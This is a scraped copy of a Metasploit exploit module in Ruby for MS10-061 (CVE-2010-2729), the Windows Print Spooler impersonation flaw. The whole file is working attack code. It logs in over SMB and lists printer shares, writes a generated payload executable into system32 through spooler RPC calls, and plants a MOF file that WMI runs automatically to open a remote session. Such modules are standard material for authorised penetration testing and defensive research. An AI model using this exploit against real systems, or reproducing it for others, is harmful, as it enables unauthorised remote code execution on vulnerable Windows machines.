Path: blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',18'Description' => %q{19This module exploits the RPC service impersonation vulnerability detailed in20Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the21StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service22to create a file. The working directory at the time is %SystemRoot%\system32.23An attacker can specify any file name, including directory traversal or full paths.24By sending WritePrinter requests, an attacker can fully control the content of25the created file.2627In order to gain code execution, this module writes to a directory used by Windows28Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof)29is periodically scanned and any new .mof files are processed automatically. This is30the same technique employed by the Stuxnet code found in the wild.31},32'Author' => [33'jduck', # re-discovery, printer RPC stubs, module34'hdm' # ATSVC RPC proxy method, etc ;)35],36'License' => MSF_LICENSE,37'Platform' => 'win',38'Notes' => {39'AKA' => ['EMERALTHREAD'],40'Stability' => [Msf::CRASH_SAFE],41'SideEffects' => [Msf::ARTIFACTS_ON_DISK],42'Reliability' => []43},44'References' => [45[ 'OSVDB', '67988' ],46[ 'CVE', '2010-2729' ],47[ 'MSB', 'MS10-061' ],48[ 'URL', 'https://www.tenable.com/plugins/nessus/49219']49],50'Privileged' => true,51'Payload' => {52'Space' => 1024,53'BadChars' => "",54'DisableNops' => true,55},56'Targets' => [57[ 'Windows Universal', {} ]58],59'DisclosureDate' => '2010-09-14',60'DefaultTarget' => 061)62)6364register_options(65[66OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]),67OptString.new('PNAME', [ false, "The printer share name to use on the target" ]),68]69)7071deregister_options('SMB::ProtocolVersion')72end7374def exploit75connect(versions: [1])76login_time = Time.now77smb_login()7879print_status("Trying target #{target.name}...")8081handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])8283print_status("Binding to #{handle} ...")84dcerpc_bind(handle)8586print_status("Bound to #{handle} ...")8788# Try all of the printers :)89printers = []90if (pname = datastore['PNAME'])91printers << pname92else93res = self.simple.client.trans(94"\\PIPE\\LANMAN",95(96[0x00].pack('v') +97"WrLeh\x00" +98"B13BWz\x00" +99[0x01, 65406].pack("vv")100)101)102103printers = []104105lerror, lconv, lentries, lcount = res['Payload'].to_s[106res['Payload'].v['ParamOffset'],107res['Payload'].v['ParamCount']108].unpack("v4")109110data = res['Payload'].to_s[111res['Payload'].v['DataOffset'],112res['Payload'].v['DataCount']113]1141150.upto(lentries - 1) do |i|116sname, tmp = data[(i * 20) + 0, 14].split("\x00")117stype = data[(i * 20) + 14, 2].unpack('v')[0]118scoff = data[(i * 20) + 16, 2].unpack('v')[0]119if (lconv != 0)120scoff -= lconv121end122scomm, tmp = data[scoff, data.length - scoff].split("\x00")123124# we only want printers125next if stype != 1126127printers << sname128end129end130131# Generate a payload EXE to execute132exe = generate_payload_exe133134printers.each { |pr|135pname = "\\\\#{rhost}\\#{pr}"136137print_status("Attempting to exploit MS10-061 via #{pname} ...")138139# Open the printer140status, ph = open_printer_ex(pname)141if status != 0142fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")143end144print_status("Printer handle: %s" % ph.unpack('H*'))145146# NOTE: fname can be anything nice to write to (cwd is system32), even147# directory traversal and full paths are OK.148fname = rand_text_alphanumeric(14) + ".exe"149write_file_contents(ph, fname, exe)150151# Generate a MOF file and write it so that the Windows Management Service will152# execute our binary ;)153mofname = rand_text_alphanumeric(14) + ".mof"154mof = generate_mof(mofname, fname)155write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)156157# ClosePrinter158status, ph = close_printer(ph)159if status != 0160fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")161end162163break if session_created?164}165166print_status("Everything should be set, waiting for a session...")167handler168169cnt = 1170while session_created? == false and cnt < 25171::IO.select(nil, nil, nil, 0.25)172cnt += 1173end174175disconnect176rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError177fail_with(Failure::Unknown, $!.message)178end179180#181# Use the vuln to write a file :)182#183def write_file_contents(ph, fname, data)184doc = rand_text_alphanumeric(16 + rand(16))185186# StartDocPrinter187status, jobid = start_doc_printer(ph, doc, fname)188if status != 0 or jobid < 0189fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")190end191print_status("Job started: 0x%x" % jobid)192193# WritePrinter194status, wrote = write_printer(ph, data)195if status != 0 or wrote != data.length196fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))197end198print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])199200# EndDocPrinter201status = end_doc_printer(ph)202if status != 0203fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")204end205end206207#208# Call RpcOpenPrinterEx209#210def open_printer_ex(pname, machine = nil, user = nil)211=begin212DWORD RpcOpenPrinterEx(213[in, string, unique] STRING_HANDLE pPrinterName,214[out] PRINTER_HANDLE* pHandle,215[in, string, unique] wchar_t* pDatatype,216[in] DEVMODE_CONTAINER* pDevModeContainer,217[in] DWORD AccessRequired,218[in] SPLCLIENT_CONTAINER* pClientInfo219);220=end221222# NOTE: For more information about this encoding, see the following223# sections of the Open Group's C706 DCE 1.1: RPC224#225# 14.3.8 Unions226# 14.3.10 Pointers227# 14.3.12.3 Algorithm for Deferral of Referents228#229machine ||= ''230machine = NDR.uwstring(machine)231user ||= ''232user = NDR.uwstring(user)233234splclient_info =235NDR.long(0) + # DWORD dwSize;236machine[0, 4] + # [string] wchar_t* pMachineName;237user[0, 4] + # [string] wchar_t* pUserName;238NDR.long(7600) + # DWORD dwBuildNum239NDR.long(3) + # DWORD dwMajorVersion;240NDR.long(0) + # DWORD dwMinorVersion;241NDR.long(9) # unsigned short wProcessorArchitecture;242243# Add the deferred members244splclient_info << machine[4, machine.length]245splclient_info << user[4, user.length]246247splclient_info[0, 4] = NDR.long(splclient_info.length)248249splclient_info =250# union!251NDR.long(1) + # discriminant (inside copy)252NDR.long(rand(0xffffffff)) +253splclient_info254255stubdata =256NDR.uwstring(pname) + # pPrinterName257NDR.long(0) +258# DEVMODE_CONTAINER (null)259NDR.long(0) +260NDR.long(0) +261# AccessRequired262NDR.long(0x02020000) +263# SPLCLIENT_CONTAINER264NDR.long(1) + # Level (must be 1)265# SPLCLIENT_INFO_1266splclient_info267268# print_status('Sending OpenPrinterEx request...')269response = dcerpc.call(69, stubdata)270if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)271# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))272273handle = dcerpc.last_response.stub_data[0, 20]274status = dcerpc.last_response.stub_data[20, 4].unpack('V').first275276return [status, handle]277end278279nil280end281282#283# Call RpcStartDocPrinter284#285def start_doc_printer(handle, dname, fname, dtype = nil)286=begin287typedef struct _DOC_INFO_CONTAINER {288DWORD Level;289[switch_is(Level)] union {290[case(1)]291DOC_INFO_1* pDocInfo1;292} DocInfo;293} DOC_INFO_CONTAINER;294DWORD RpcStartDocPrinter(295[in] PRINTER_HANDLE hPrinter,296[in] DOC_INFO_CONTAINER* pDocInfoContainer,297[out] DWORD* pJobId298);299=end300dname = NDR.uwstring(dname)301if fname302fname = NDR.uwstring(fname)303else304fname = NDR.long(0)305end306if dtype307dtype = NDR.uwstring(dtype)308else309dtype = NDR.long(0)310end311312doc_info =313dname[0, 4] +314fname[0, 4] +315dtype[0, 4]316317# Add the deferred members318doc_info << dname[4, dname.length]319doc_info << fname[4, fname.length]320doc_info << dtype[4, dtype.length]321322doc_info =323# Union!324NDR.long(1) +325NDR.long(rand(0xffffffff)) +326doc_info327328stubdata =329handle +330NDR.long(1) +331doc_info332333# print_status('Sending StartDocPrinter request...')334response = dcerpc.call(17, stubdata)335if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)336# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))337jobid, status = dcerpc.last_response.stub_data.unpack('VV')338return [status, jobid]339end340341nil342end343344#345# Call RpcWritePrinter346#347def write_printer(handle, data)348=begin349DWORD RpcWritePrinter(350[in] PRINTER_HANDLE hPrinter,351[in, size_is(cbBuf)] BYTE* pBuf,352[in] DWORD cbBuf,353[out] DWORD* pcWritten354);355=end356stubdata =357handle +358NDR.long(data.length) +359# Perhaps we need a better data type for BYTE* :)360data +361NDR.align(data) +362NDR.long(data.length)363364# print_status('Sending WritePrinter request...')365response = dcerpc.call(19, stubdata)366if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)367# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))368wrote, status = dcerpc.last_response.stub_data.unpack('VV')369return [status, wrote]370end371372nil373end374375#376# Call RpcEndDocPrinter377#378def end_doc_printer(handle)379=begin380DWORD RpcEndDocPrinter(381[in] PRINTER_HANDLE* phPrinter382);383=end384385# print_status('Sending EndDocPrinter request...')386response = dcerpc.call(23, handle)387if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)388# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))389status = dcerpc.last_response.stub_data[0, 4].unpack('V').first390return status391end392393nil394end395396#397# Call RpcClosePrinter398#399def close_printer(handle)400=begin401DWORD RpcClosePrinter(402[in, out] PRINTER_HANDLE* phPrinter403);404=end405406# print_status('Sending ClosePrinter request...')407response = dcerpc.call(29, handle)408if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)409# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))410handle = dcerpc.last_response.stub_data[0, 20]411status = dcerpc.last_response.stub_data[20, 4].unpack('V').first412return [status, handle]413end414415nil416end417418def seconds_since_midnight(time)419# .tv_sec always uses .utc420(time.tv_sec % 86400)421422# This method uses the localtime423# (time.hour * 3600) + (time.min * 60) + (time.sec)424end425426# We have to wait a bit longer since the WMI service is a bit slow..427def wfs_delay42810429end430end431432433